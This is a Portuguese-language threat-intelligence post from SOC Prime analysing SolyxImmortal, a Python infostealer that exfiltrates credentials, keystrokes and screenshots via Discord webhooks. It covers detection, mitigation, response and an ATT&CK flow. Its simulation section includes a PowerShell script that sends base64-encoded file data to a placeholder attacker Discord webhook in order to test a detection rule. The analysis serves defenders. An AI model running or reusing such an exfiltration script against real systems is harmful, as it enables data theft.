SOC Prime Bias: Médio

26 Jan 2026 20:32

SOLYXIMMORTAL: ANÁLISE DE MALWARE EM PYTHON

Author Photo
Ruslan Mikhalov Chefe de Pesquisa de Ameaças na SOC Prime linkedin icon Seguir
SOLYXIMMORTAL: ANÁLISE DE MALWARE EM PYTHON
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Sol yxImmortal é um ladrão de informações para Windows baseado em Python que coleta credenciais, documentos, teclas digitadas e capturas de tela, e então exfiltra os dados através de webhooks do Discord. O malware é executado inteiramente no espaço do usuário, mantém persistência plantando uma cópia no diretório AppData do usuário e configurando um valor de chave de registro de execução, continuando a operar sem apresentar nenhuma interface de usuário visível.

Investigação

A análise revelou duas URLs de webhook do Discord incorporadas e o uso do Windows DPAPI para descriptografar as credenciais do navegador baseado em Chromium. O ladrão registra as teclas digitadas por meio de um gancho de teclado, rastreia a janela ativa para identificar títulos de aplicativos potencialmente sensíveis e captura capturas de tela em uma programação recorrente. A persistência é implementada copiando o payload para um local oculto sob %AppData% e adicionando um valor à chave Run do HKCU para iniciar a execução ao logon do usuário.

Mitigação

Implementar lista de permissões de aplicativos, monitorar a criação e execução de binários a partir de caminhos graváveis pelo usuário, detectar alterações nas chaves Run em nível de usuário e alertar sobre atividades de saída HTTPS POST para pontos finais de webhook do Discord. Fortalecer os controles em torno de armazenamentos de credenciais no navegador e reduzir a exposição dos endpoints limitando ou governando estritamente o uso de linguagens de script, onde possível.

Resposta

Após a detecção, isolar o endpoint impactado, remover a cópia maliciosa residente em AppData, excluir o valor associado à chave de execução, e bloquear as URLs de webhook do Discord identificadas. Girar credenciais para contas potencialmente afetadas e realizar coleta forense de registros de teclas digitadas, capturas de tela e bancos de dados do navegador para apoiar a delimitação e análise da causa raiz.

"grafo TB %% Definições de classes classDef técnica fill:#ffcc99 classDef artefato fill:#ccffcc classDef malware fill:#ff9999 classDef processo fill:#ccccff classDef serviço fill:#ffdd99 %% Nós de Técnica tech_python["<b>Técnica</b> – <b>T1059.006</b> Intérprete de Comando e Script: Python<br/><b>Descrição</b>: Executa código Python malicioso para lançar o implante e iniciar a funcionalidade."] class tech_python técnica tech_registry["<b>Técnica</b> – <b>T1547.001</b> Execução de Autostart de Inicialização ou Login: Chaves de Execução de Registro<br/><b>Descrição</b>: Copia malware para um local gravável e adiciona uma chave de execução para persistência em logons."] class tech_registry técnica tech_hidden["<b>Técnica</b> – <b>T1564.005</b> Ocultar Artefatos: Sistema de Arquivos Ocultos<br/><b>Descrição</b>: Marca a cópia maliciosa com atributos ocultos e de sistema para evadir descoberta."] class tech_hidden técnica tech_browser_creds["<b>Técnica</b> – <b>T1555.003</b> Credenciais de Armazenamentos de Senhas: Navegadores Web<br/><b>Descrição</b>: Extrai e descriptografa credenciais salvas do navegador baseado em Chromium usando a chave mestre e DPAPI."] class tech_browser_creds técnica tech_file_discovery["<b>Técnica</b> – <b>T1083</b> Descoberta de Arquivos e Diretórios<br/><b>Descrição</b>: Enumera o sistema de arquivos para localizar documentos de interesse."] class tech_file_discovery técnica tech_keylogging["<b>Técnica</b> – <b>T1056.001</b> Captura de Entrada: Keylogging<br/><b>Descrição</b>: Registra as teclas digitadas por meio de um ouvinte de teclado persistente e as armazena na memória."] class tech_keylogging técnica tech_screen_capture["<b>Técnica</b> – <b>T1113</b> Captura de Tela<br/><b>Descrição</b>: Captura capturas de tela da janela ativa em intervalos regulares e em atividades sensíveis."] class tech_screen_capture técnica tech_archive["<b>Técnica</b> – <b>T1560.002</b> Armazenar Dados Coletados: Arquivar via Biblioteca<br/><b>Descrição</b>: Compacta dados preparados em um arquivo ZIP usando uma biblioteca para reduzir o tamanho e mascarar conteúdo."] class tech_archive técnica tech_obfuscate["<b>Técnica</b> – <b>T1027</b> Arquivos e Informações Ofuscados/Compactados<br/><b>Descrição</b>: Usa compactação para ocultar dados antes da exfiltração."] class tech_obfuscate técnica tech_exfil["<b>Técnica</b> – <b>T1567.004</b> Exfiltração através de Webhook<br/><b>Descrição</b>: Envia dados coletados para URLs de webhook do Discord controlados pelo atacante sobre HTTPS."] class tech_exfil técnica tech_third_party["<b>Técnica</b> – <b>T1102.003</b> Serviço Web: Serviços de Terceiros<br/><b>Descrição</b>: Utiliza o Discord como um serviço de terceiros para comunicações de comando e controle."] class tech_third_party técnica %% Nós de Artefato e Processo artifact_python["<b>Artefato</b> – Lethalcompany.py executado no host da vítima"] class artifact_python artefato process_copy["<b>Processo</b> – Copia malware para o diretório %AppData%"] class process_copy processo artifact_persistence["<b>Artefato</b> – Chave de execução de registro criada para arquivo copiado"] class artifact_persistence artefato artifact_hidden["<b>Artefato</b> – Atributos de arquivo definidos como ocultos e de sistema"] class artifact_hidden artefato artifact_cred_extraction["<b>Artefato</b> – Extração de senhas e cookies do Chrome/Edge"] class artifact_cred_extraction artefato artifact_file_search["<b>Artefato</b> – Enumeração recursiva de arquivos .doc, .pdf, .xls na home do usuário"] class artifact_file_search artefato artifact_keylog["<b>Artefato</b> – Buffer de teclas digitadas em memória esvaziado periodicamente"] class artifact_keylog artefato artifact_screenshot["<b>Artefato</b> – Capturas de tela capturadas com base nas palavras-chave do título da janela"] class artifact_screenshot artefato artifact_zip["<b>Artefato</b> – Arquivo ZIP criado com dados preparados"] class artifact_zip artefato artifact_exfil["<b>Artefato</b> – POST HTTPS para webhook do Discord com arquivo e capturas de tela"] class artifact_exfil artefato service_discord["<b>Serviço</b> – Webhook do Discord usado para C2 e exfiltração"] class service_discord serviço %% Conexões mostrando o fluxo do ataque artifact_python –>|executa| tech_python tech_python –>|permite| process_copy process_copy –>|coloca o arquivo no AppData| artifact_persistence artifact_persistence –>|registra| tech_registry artifact_persistence –>|marca como oculto| tech_hidden tech_hidden –>|aplica a| artifact_hidden tech_browser_creds –>|coleta| artifact_cred_extraction tech_file_discovery –>|coleta| artifact_file_search tech_keylogging –>|captura| artifact_keylog tech_screen_capture –>|captura| artifact_screenshot tech_archive –>|cria| artifact_zip tech_obfuscate –>|suporta| tech_archive artifact_zip –>|preparado para| tech_exfil tech_exfil –>|usa| service_discord service_discord –>|recebe dados via| artifact_exfil tech_third_party –>|fornece canal para| tech_exfil "

Fluxo de Ataque

Execução de Simulação

Pré-requisito: A Verificação de Pré-Voo de Telemetria & Base deve ter sido aprovada.

  • Narrativa & Comandos do Ataque:
    O adversário já comprometeu o host e coletou credenciais, keylogs e capturas de tela (T1056.001, T1113). O próximo passo é exfiltrar os dados coletados através de um webhook malicioso do Discord. Usando PowerShell (nativo, sem binários externos) o malware cria uma carga JSON contendo dados de arquivo codificados em base-64 e os envia para o URL do webhook. Como a regra apenas procura o hostname e o método HTTP, esta atividade deve acionar um alerta.

  • Script de Teste de Regressão:

    # Exfiltração simulada do SolyxImmortal via webhook do Discord
    param(
        [string]$WebhookUrl = "https://discord.com/api/webhooks/ATTACKER/EXFIL",
        [string]$FilePath    = "$env:TEMPsample.txt"
    )
    
    # 1. Criar um arquivo fictício que representa dados coletados
    Set-Content -Path $FilePath -Value ("SensitiveData_" + (Get-Date).ToString("s"))
    
    # 2. Codificar o conteúdo do arquivo em Base64 (simulando ofuscação)
    $fileBytes = [System.IO.File]::ReadAllBytes($FilePath)
    $b64Data   = [Convert]::ToBase64String($fileBytes)
    
    # 3. Construir a carga de JSON esperada pelo webhook do Discord
    $payload = @{
        content = "Exfiltration payload"
        embeds  = @(
            @{
                title = "StolenFile.txt"
                description = $b64Data
                color = 16711680
            }
        )
    } | ConvertTo-Json -Depth 5
    
    # 4. Enviar solicitação POST HTTPS
    Invoke-WebRequest -Uri $WebhookUrl -Method POST -Body $payload -ContentType "application/json" -UseBasicParsing
    
    Write-Host "Tentativa de exfiltração enviada."
  • Comandos de Limpeza:

    # Remover o arquivo fictício e limpar quaisquer variáveis residuais
    Remove-Item -Path "$env:TEMPsample.txt" -ErrorAction SilentlyContinue
    Remove-Variable -Name WebhookUrl, FilePath, fileBytes, b64Data, payload -ErrorAction SilentlyContinue
    Write-Host "Limpeza completa."